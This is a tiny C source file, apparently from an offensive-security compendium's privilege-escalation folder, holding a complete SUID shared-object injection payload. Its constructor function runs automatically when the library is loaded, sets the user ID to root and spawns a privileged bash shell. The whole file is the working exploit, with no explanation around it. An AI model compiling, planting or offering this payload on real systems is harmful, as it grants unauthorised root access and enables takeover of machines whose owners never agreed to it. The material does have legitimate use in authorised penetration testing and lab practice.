killchain-compendium/Post Exploitation/Privilege Escalation/suid/libcalc.c

10 lines
147 B
C

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}